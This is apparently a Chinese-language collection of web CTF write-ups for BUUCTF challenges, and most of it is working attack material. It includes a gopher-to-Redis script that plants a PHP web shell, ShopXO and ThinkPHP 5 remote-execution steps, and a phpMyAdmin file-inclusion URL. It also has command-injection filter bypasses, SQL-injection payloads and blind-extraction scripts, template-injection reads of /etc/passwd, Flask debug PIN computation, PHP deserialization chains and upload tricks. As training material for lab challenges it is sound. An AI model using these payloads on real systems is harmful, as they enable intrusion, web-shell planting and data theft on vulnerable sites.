,得到cookiesecet,e85fca1a-db5a-4d80-82aa-53d3a3d1637a
,MD5一下
1 2 3 4 5 6 7 8 import hashlib cs = 'e85fca1a-db5a-4d80-82aa-53d3a3d1637a' fn = /fllllllllllllag def md5(s): md5 = hashlib.md5 md5.update(s.encode()) return md5.hexdigest() print(md5(cs+md5(fn)))
http://3d7b4f67-c482-4541-ba68-e1cf1b467deb.node3.buuoj.cn/file ?filename=/fllllllllllllag &filehash=a7982b91f8645e9107b05b0721a6fceb
[GKCTF2020]cve版签到 含有提示 cve-2020-7066,查一下,getheaders函数存在00截断,tips 要求结尾是123
1 ?url=http:%2f%2f127.0.0.123%00www.ctfhub.com
[GKCTF2020]老八小超市儿 shopxo后台全版本获取shell复现
访问后台/admin.php?s=/admin/logininfo.html
,使用admin:shopxo
登录
找到 应用中心 应用商店 主题,下载粉红主题,在主题的 default/_static_/
目录下添加木马,重新压缩
到 网站管理 主题管理 主题安装,上传压缩后的主题,l连接木马路径/public/static/index/lengyu/shell.php
根目录下的 flag 文件提示 flag 在 root 下,但无权限。根目录有 auto.sh,定时运行 makeflag,找到该文件,改为
1 2 import os os.system("cat /root/flag>/1.txt")
等待一分钟,得到 flag
[GKCTF2020]EZ三剑客-EzWeb 访问 secret ,除了 127.0.0.1 以外还有两个 IP 地址,173.183.118.10/24 和 172.18.0.13/12,应该是一个 SSRF,扫描一下 173.183.118.10/24 子网里的其他主机,
过滤了 file://
和dict://
协议,使用 HTTP 探测
使用 intruder 爆破,在 173.183.118.12 的响应中看到
1 被你发现了,但你也许需要试试其他服♂务,就在这台机子上! ...我说的是端口啦1
爆破这台机器的端口,在 6379 端口看到
1 -ERR wrong number of arguments for 'get' command
存在 redis 服务
使用 gopher 协议利用未授权访问写入 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import urllib protocol = r"gopher://" ip = "173.183.118.12" port = "6379" shell = "\n\n<?php system(\"cat /flag\");?>\n\n" filename = "shell.php" path = "/var/www/html" passwd = "" cmd = ["flushall", "set 1 {}".format(shell.replace(" ", "${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0, "AUTH {}".format(passwd)) payload = protocol+ip+":"+port+"/_" def redis_format(arr): CRLF = "\r\n" redis_arr = arr.split(" ") cmd = "" cmd += "*"+str(len(redis_arr)) for x in redis_arr: cmd += CRLF+"$" + \ str(len((x.replace("${IFS}", " "))))+CRLF+x.replace("${IFS}", " ") cmd += CRLF return cmd if __name__ == "__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
生成 payload
1 gopher://173.183.118.12:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
在 url 中访问 http://173.183.118.12/shell.php
[GKCTF2020]CheckIN 把 base64 编码后的命令传入Ginkgo
后就可以执行
1 ?Ginkgo=cGhwaW5mbygpOw== #phpinfo();
存在 disable_functions,禁用了一些执行系统命令的函数。本质上是一个黑名单。
1 ?Ginkgo=QGV2YWwoJF9HRVRbJ2MnXSk7&c=phpinfo(); # @eval($_GET['c']);
测试成功,使用蚁剑连接,发现根目录下的 flag,不可读。存在 readflag 二进制文件。
使用 Github 上的 PHP 7.0-7.3 disable_functions bypass,项目地址 ,使用 gc-bypass,修改其中的命令为 /readflag
,上传至 /tmp
,include 上传的文件
1 ?Ginkgo=QGV2YWwoJF9HRVRbJ2MnXSk7&c=include('/tmp/exploit.php');
得到 flag
[GXYCTF2019]BabyUpload 上传 .htaccess 修改类型,上传图片马,蚁剑连接。有个坑,蚁剑不能连 GET 的马。
[GXYCTF2019]禁止套娃 1 2 3 4 5 6 7 8 localeconv() 函数返回一包含本地数字及货币格式信息的数组。 scandir() 列出 images 目录中的文件和目录。 readfile() 输出一个文件。 current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 next() 函数将内部指针指向数组中的下一个元素,并输出。 array_reverse()以相反的元素顺序返回数组。 highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
存在.git泄露,得到源码。同时存在白名单和黑名单
1 exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
[GXYCTF2019]Ping Ping Ping 命令执行,过滤了空格和很多特殊字符。
1 2 3 4 5 6 7 8 ?ip=1.1.1.1|ls //发现index.php和flag.php ?ip=1.1.1.1|cat flag.php //发现过滤了空格 ?ip=1.1.1.1|cat<flag.php //过滤了特殊字符 ?ip=1.1.1.1|cat$IFS$1flag.php //用$IFS$1代替空格,发现过滤了flag ?ip=1.1.1.1|cat$IFS$1index.php //查看源码,发现过滤了特殊字符、bash、空格、flag ?ip=1.1.1.1;a=g;cat$IFS$1fla$a.php //利用shell变量绕过flag的过滤 ?ip=1.1.1.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //用sh执行 ?ip=1.1.1.1;cat$IFS`ls` //内联执行,反引号内的命令输出作为输入
[GXYCTF2019]BabySQli 试了一下,用户名的位置会报错,只过滤了括号,=
和小写的or
,页面里有注释,先 base32 再 base64,select * from user where username = '$name'
。
有3列,试一下admin' union select 1,2,3%23
,提示wrong pass。是对输入的 pw 进行了 md5,然后查表中的数据,最后
1 name=rrrrrrrrrr' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123
其中202cb962ac59075b964b07152d234b70'%23
是 123 的MD5。
[GWCTF 2019]我有一个数据库 phpMyadmin 任意文件包含
payload:http://92909cd3-f955-4efa-99af-dc3d378a1ec6.node3.buuoj.cn/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
[GWCTF 2019]枯燥的抽奖 check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: text/html;charset=utf-8"); session_start(); if(!isset($_SESSION['seed'])){ $_SESSION['seed']=rand(0,999999999); } mt_srand($_SESSION['seed']); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } $str_show = substr($str, 0, 10); echo "<p id='p1'>".$str_show."</p>"; if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; } else{ echo "<p id=flag>没抽中哦,再试试吧</p>"; } } show_source("check.php")
mt_rand() 漏洞,伪随机,可以爆破 seed
1 2 3 4 5 6 7 8 9 10 11 12 str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2 = 'LTa1ZXoMsb' str3 = str1[::-1] length = len(str2) res = '' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' ' break print(res)
生成 php_mt_seed 所需的参数后
1 2 make time ./php_mt_seed 47 47 0 61 55 55 0 61 0 0 0 61 27 27 0 61 61 61 0 61 59 59 0 61 14 14 0 61 48 48 0 61 18 18 0 61 1 1 0 61
爆破出 seed 之后重新生成 str,至少需要 PHP 7.2
1 2 3 4 5 6 7 8 9 10 11 12 <?php mt_srand(945888871); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } echo $str; ?>
[GYCTF2020]FlaskApp 模板注入,加密页面输入
把结果放到解密页面解密,得到 2,存在模板注入。payload
1 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
可以读取到文件,但是不知道 flag 位置,需要打开 debug 模式中的 python shell,需要获取 PIN 码
PIN 码由以下几个值计算得到:
服务器运行 flask 的用户名,通过读取 /etc/passwd 得到,此题目为 flaskweb
modname,一般为 flask.app
getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
,一般为 Flask
flask 库下 app.py 的绝对路径,通过报错信息可以得到,本题目为/usr/local/lib/python3.7/site-packages/flask/app.py
当前网络 MAC 地址的十进制数,通过文件/sys/class/net/eth0/address
得到
机器ID,一般在/etc/machine-id
或者/proc/sys/kerne/random/boot-i
,docker 容器在/proc/sef/cgroup
,name=systemd:/docker/
后面的一串就是ID
计算 PIN 码,在Lib\site-packages\werkzeug\debug\\_\_init__.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlib from itertools import chain probably_public_bits = [ 'flaskweb', # 用户名 'flask.app', # modname 'Flask', # Flask '/usr/local/lib/python3.7/site-packages/flask/app.py', # app.py 路径 ] private_bits = [ '2485410412221', # MAC 地址 '6743637069af7e10cfc09a74d23b62c700765cc89e2ae6d0f43150e839dde80e' # 机器ID ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
得到 PIN 码进入 python shell,使用 os 模块执行系统命令
1 2 3 import os os.popen('ls /').read() os.popen('cat /this_is_flag.txt').read()
[GYCTF2020]Blacklist 黑名单preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入 + handler 代替 select
1 2 3 1'; show tables;# 查表 1'; show columns from FlagHere;# 查列名 1'; handler FlagHere open as aaaa; handler aaaa read first; handler aaaa close;# 利用 handler 代替 select 查询数据
[HCTF] 2018 warmup 代码审计,定义了白名单,判断file参数问号之前的内容是不是在白名单里。利用文件包含漏洞(CVE-2018-2613),?file=hint.php?.././../../../../ffffllllaaaagggg
,其中问号可以url编码,效果一样。
[HCTF] admin 随便注册个账号,登录,在修改密码的地方发现一行注释,给了源码
方法1: session伪造
flask将session存储在客户端(浏览器),并且不对session进行加密,只进行签名,不能防止session被读取,但可以防止被篡改,得到签名后可以伪造session
登录后看下自己的session,读取一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
拿到内容,在config.py发现密钥 ckj123,把得到的内容中的user改为admin,user_id改为1,伪造session(https://github.com/noraj/flask-session-cookie-manager),替换掉原来的session就可以得到flag
方法2: unicode欺骗
route.py的login函数和change函数里都有strlower这个操作,而不是正常的lower。
跟进一下,看到nodeprep.prepare,对应的库是twisted。
在requirements.txt中,twisted的版本是10.2.0,最新的是18,差距很大。查一下,这个函数会自动进行如下转换
ᴀ -> A -> a
于是我们注册ᴀ dmin,登录后变成Admin,改密码的时候就会改掉admin的密码,成功登录。
方法3: 条件竞争
在login和change函数中都没有进行检查,而是先赋值到name和session.name,在已有登录的session情况下,登录admin,修改密码,就可以修改掉admin的密码,但是login函数进行了判断,可以开双线程绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requests import threading def login(s, username, password): data = { 'username': username, 'password': password, 'submit': '' } return s.post("http://4f7f18d7-e9dd-44c1-a10d-0ed88b615dae.node3.buuoj.cn/login", data=data) def logout(s): return s.get("http://4f7f18d7-e9dd-44c1-a10d-0ed88b615dae.node3.buuoj.cn/logout") def change(s, newpassword): data = { 'newpassword':newpassword } return s.post("http://4f7f18d7-e9dd-44c1-a10d-0ed88b615dae.node3.buuoj.cn/change", data=data) def func1(s): login(s, 'skysec', 'skysec') change(s, 'skysec') def func2(s): logout(s) res = login(s, 'admin', 'skysec') if '<a href="/index">/index</a>' in res.text: print('finish') def main(): for i in range(1000): print(i) s = requests.Session() t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start() t2.start() if __name__ == "__main__": main()
ps:复现失败,预想的结果是会把admin的密码改为skysec,就可以登录。但实际上我可能是被buuctf给ban了
[HFCTF2020]EasyLogin Node.js 代码审计、弱类型、依赖库缺陷
static/js/app.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 /** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */ function login() { const username = $("#username").val(); const password = $("#password").val(); const token = sessionStorage.getItem("token"); $.post("/api/login", {username, password, authorization:token}) .done(function(data) { const {status} = data; if(status) { document.location = "/home"; } }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); } function register() { const username = $("#username").val(); const password = $("#password").val(); $.post("/api/register", {username, password}) .done(function(data) { const { token } = data; sessionStorage.setItem('token', token); document.location = "/login"; }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); } function logout() { $.get('/api/logout').done(function(data) { const {status} = data; if(status) { document.location = '/login'; } }); } function getflag() { $.get('/api/flag').done(function(data) { const {flag} = data; $("#username").val(flag); }).fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); }
提示配置的静态目录是程序的根目录,可能存在任意文件读取,直接访问/app.js
,得到源码。
[MRCTF2020]Ez_bypass 1 2 ?id[]=1&gg[]=2&passwd[]=1234567 passwd=1234567asdf
md5 一个数组会返回 false,两个 false 相等。
利用弱类型,1234567asdf 转换为数字就是 1234567
[MRCTF2020]你传你🐎呢 普通的文件上传,传文件时需要修改 content type
传一个 .htaccess
1 SetHandler application/x-httpd-php
传一个 .jpg 格式的🐎就可以了。
[MRCTF2020]PYWebsite F12,直接看到 flag.php,进去改XFF,127.0.0.1.
[MRCTF2020]Ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else $a=new Show; highlight_file(__FILE__); }
反序列化,POP链构造。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class Modifier { protected $var = 'php://filter/convert.base64-encode/resource=flag.php'; public function append($value){ include($value); // -1 var = flag.php } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; // -4 str = Test } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p ; public function __get($key){ $function = $this->p; return $function(); // -2 p = Modifier } } $s1 = new Show(); $s2 = new Show(); $s1->source = $s2; $s2->str = new Test(); $s2->str->p = new Modifier(); echo urlencode(serialize($s1)); ?>
触发 Show 的 toString 方法,需要一个 Show 对象(s1)的 source 是另一个 Show 对象。调用顺序$s1->__wakeup
,$s1->source->__toString()
触发 Test 的 get 方法,可以把 s2 的 str 属性设置为一个 Test 对象,Show 的 toString 方法访问了 source 属性,而 Test 类不存在这个属性,可以触发。调用顺序$s2->str->source
,$s2->str->__get()
。
触发 Modifier 的 invoke 方法,在 Test 类中可以将 p 设置为 Modifier 的对象,可以触发。同时将 Modifier 的 var 变量设置为伪协议读取 flag.php。调用顺序$s2->str->p()
,$s2->str->p->__invoke()
。
最后的 urlencode 是必须的
[NPUCTF2020]ReadlezPHP 反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class HelloPhp { public $a; public $b; public function __construct(){ $this->a = -1; $this->b = "phpinfo"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $s = new HelloPhp(); echo serialize($s); ?>
phpinfo 可以接受参数,-1 表示显示所有信息,flag 在 phpinfo 中
1 time.php?data=O:8:%22HelloPhp%22:2:{s:1:%22a%22;i:-1;s:1:%22b%22;s:7:%22phpinfo%22;}
[极客大挑战 2019]PHP 题目提示有备份,下载www.zip。
根据class.php
,我们需要传入一个Name对象,username是admin,password是100,同时还要绕过wakeup方法。
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Name{ private $username; private $password; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $f = new Name('admin',100); echo serialize($f); ?>
得到序列化后的字符串O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
,其中username和password都是private的变量,Name前后各有一个空字符,所以长度为14。为了绕过wakeup,将O:4:"Name":2
后面的2改为3(当说明的变量数大于实际变量数可以绕过wakeup方法)。
由于含有空字符,使用python发送请求。
1 2 3 4 5 6 import requests url = 'http://54603761-44c7-4fe6-81de-add413bc8939.node3.buuoj.cn/' params = {'select': 'O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'} r = requests.get(url, params=params) print(r.text)
[极客大挑战 2019]Http 源代码里看到Secret.php
,根据提示改一下referer,xff和useragent
[极客大挑战 2019]Knife 用菜刀或者蚁剑连一下,flag在根目录
[极客大挑战 2019]EasySQL admin' or 1=1 #
[极客大挑战 2019]HardSQL 过滤了 ascii, substr, by, =, >, union, and, *。
报错注入,用 updatexml,用like代替=,?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
,?username=admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123
。
[极客大挑战 2019]Secret File 查看源代码,发现一个Archive_room.php
,点Secret,提示回去再看看。
抓包,发现secr3t.php
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里 ?>
file=flag.php,提示我就在这里但你看不到。file=php://filter/read=convert.base64-encode/resource=flag.php,base64解密,得到flag
[强网杯] 随便注 输入引号,报错
1' or 1=1#
,查询出所有内容
0' union select database()#
,得到waf:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
尝试堆叠注入,用char绕过waf
1 2 3 4 5 6 7 8 9 10 11 12 payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;" exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()' # 查表名 # exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'" # 查列名 # exp = "select flag from `1919810931114514`" # 查flag,表名要使用反引号 res = '' for i in exp: res += "char(%s),"%(ord(i)) my_payload = payload%(res[:-1]) print my_payload
得到类似下面的结果
1 0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;
也可以交换1919810931114514和words两个表的名字,这样正常查询就可以得到1919810931114514表里的内容
[极客大挑战 2019]FinalSQL 注入点在点击按钮出现的 search.php/id=1
中,用异或符号进行盲注。
1 2 3 4 5 6 7 8 import requests url = "http://4e80936d-618a-4d1b-8913-910f41a86c5f.node3.buuoj.cn/search.php" for i in range(1,20): for j in range(1,128): d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1" r = requests.get(url+d) if 'Click' in r.text: print(chr(j))
[RoarCTF 2019]Easy Java Java的站,点help看到filename=help.docx
,可能存在文件包含。
java应用的安全目录是WEB-INF
,访问其中的文件要通过 web.xml 进行相应映射才能访问。包括:
WEB-INF/web.xml
,Web应用配置文件,描述servlet和其他应用组件配置及命名规则。
WEB-INF/classes/
,包含站点所有用的class文件,包括 servlet class 和非servlet class,不能包含在 .jar 文件中。
WEB-INF/lib/
,存放web应用需要的 jar 文件,放置仅在这个应用中要求使用的 .jar 文件,例如数据库驱动 jar文件。
WEB-INF/src/
,源码目录,按包结构放置各个 java 文件。
WEB-INF/database.properties
,数据库配置文件。
访问WEB-INF/web.xml
,用POST方法?,可以看到
1 2 3 4 <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet>
访问这个 class 文件,WEB-INF/classes/com/wm/ctf/FlagController.class
,可以看到一串 base64,解码得到flag。
[BJDCTF2020]Old Hack ThinkPHP 5 的RCE,直接上,?s=captcha
,POST传_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
[BJDCTF2020]Easy MD5 看响应头里有Hint: select * from 'admin' where password=md5($pass,true)
,true是返回的十六进制MD5转化为字符串,输入ffifdyop
,这个字符串转化之后是'or'6....
。
然后是弱类型,传数组就可以a[]=1&b[]=2
。
然后是强类型,用 fastcoll,先生成两个md5值一样的文件
1 ./fastcoll_v1.0.0.5.exe source.txt
读取文件的时候要用二进制格式,因为含有文本格式解码不了的字符
1 2 3 4 5 6 7 8 9 10 import requests url = 'http://337b4ffe-e9cf-4213-a211-e49ab794d636.node3.buuoj.cn/levell14.php' with open('./1.txt', 'rb') as f1: with open('./2.txt', 'rb') as f2: t1 = f1.read() t2 = f2.read() data = {'param1': t1,'param2': t2} r = requests.post(url, data=data) print(r.text)
[BJDCTF 2nd]假猪套天下第一 随便输一个用户名和密码,看到提示L0g1n.php
,在里面看到要99年后访问。在Cookie的 time 里改一个很大的数字,提示要从本地访问。X-Forwarded-For
不行,换一个Client-ip
。要从gem-love.com
访问,改Referer
。要从Commodo 64
访问,查一下完整的 UA,是Commodore 64
。要求邮箱,用From
头。需要代理,用Via
头。
Header
解释
示例
Accept
指定客户端能够接收的内容类型
Accept: text/plain, text/html,application/json
Accept-Charset
浏览器可以接受的字符编码集。
Accept-Charset: iso-8859-5
Accept-Encoding
指定浏览器可以支持的web服务器返回内容压缩编码类型。
Accept-Encoding: compress, gzip
Accept-Language
浏览器可接受的语言
Accept-Language: en,zh
Accept-Ranges
可以请求网页实体的一个或者多个子范围字段
Accept-Ranges: bytes
Authorization
HTTP授权的授权证书
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control
指定请求和响应遵循的缓存机制
Cache-Control: no-cache
Connection
表示是否需要持久连接。(HTTP 1.1默认进行持久连接)
Connection: close
Cookie
HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。
Cookie: $Version=1; Skin=new;
Content-Length
请求的内容长度
Content-Length: 348
Content-Type
请求的与实体对应的MIME信息
Content-Type: application/x-www-form-urlencoded
Date
请求发送的日期和时间
Date: Tue, 15 Nov 2010 08:12:31 GMT
Expect
请求的特定的服务器行为
Expect: 100-continue
From
发出请求的用户的Email
From: user@email.com
Host
指定请求的服务器的域名和端口号
Host: www.zcmhi.com
If-Match
只有请求内容与实体相匹配才有效
If-Match: “737060cd8c284d8af7ad3082f209582d”
If-Modified-Since
如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码
If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
If-None-Match
如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变
If-None-Match: “737060cd8c284d8af7ad3082f209582d”
If-Range
如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag
If-Range: “737060cd8c284d8af7ad3082f209582d”
If-Unmodified-Since
只在实体在指定时间之后未被修改才请求成功
If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards
限制信息通过代理和网关传送的时间
Max-Forwards: 10
Pragma
用来包含实现特定的指令
Pragma: no-cache
Proxy-Authorization
连接到代理的授权证书
Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Range
只请求实体的一部分,指定范围
Range: bytes=500-999
Referer
先前网页的地址,当前请求网页紧随其后,即来路
Referer: http://www.zcmhi.com/archives…
TE
客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息
TE: trailers,deflate;q=0.5
Upgrade
向服务器指定某种传输协议以便服务器进行转换(如果支持)
Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
User-Agent
User-Agent的内容包含发出请求的用户信息
User-Agent: Mozilla/5.0 (Linux; X11)
Via
通知中间网关或代理服务器地址,通信协议
Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning
关于消息实体的警告信息
Warn: 199 Miscellaneous warning
[RoarCTF] easy calc 提示加了waf,看一下calc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
num只允许输入数字和一些符号,把查询字符串?num=
改为?%20num
可以绕过,而且在calc.php处理时是一样的,原理是$_GET
和$_POST
解析字符串的问题,可以用来bypass。
接下来只需要绕过引号
?%20num=var_dump(scandir(chr(47)))
列出当前目录下的文件,可以看到f1agg,读一下这个文件
?%20num=var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag
[SUCTF] easy sql 查询语句是select $_POST['query'] || flag from flag
(不知道怎么来的)
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
,PIPES AS CONCAT 把 || 视为字符串连接符而不是或运算, select 1 || flag 会合并 select 1 和select flag 的查询结果,如果用字母无法得到flag,因为会合并成类似 select aflag 的形式
[SUCTF 2019]Pythonginx Unicode安全,可以参考博客里的另一篇文章,Host-Split attack。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333"
payload:/getUrl?url=file%3A//suctf.c%E2%84%82/../../../../etc/passwd
,前两次没有问题,第三次会把%E2%84%82
转化成c,可以任意文件读取。
读nginx配置文件,在/etc/nginx/conf.d/nginx.conf
没发现,/usr/local/nginx/conf/nginx.conf
找到注释/usr/fffffflag
。
[SUCTF] checkin 插入后缀名改成jpg的一句话,提示<?in contents
。
改成<scriptlanguage="php">
,提示不是图片
文件开头加上GIF89a
,成功上传。
服务器是nginx,不能上传.htaccess
,需要利用.user.ini
在.user.ini
中可以更改php.ini
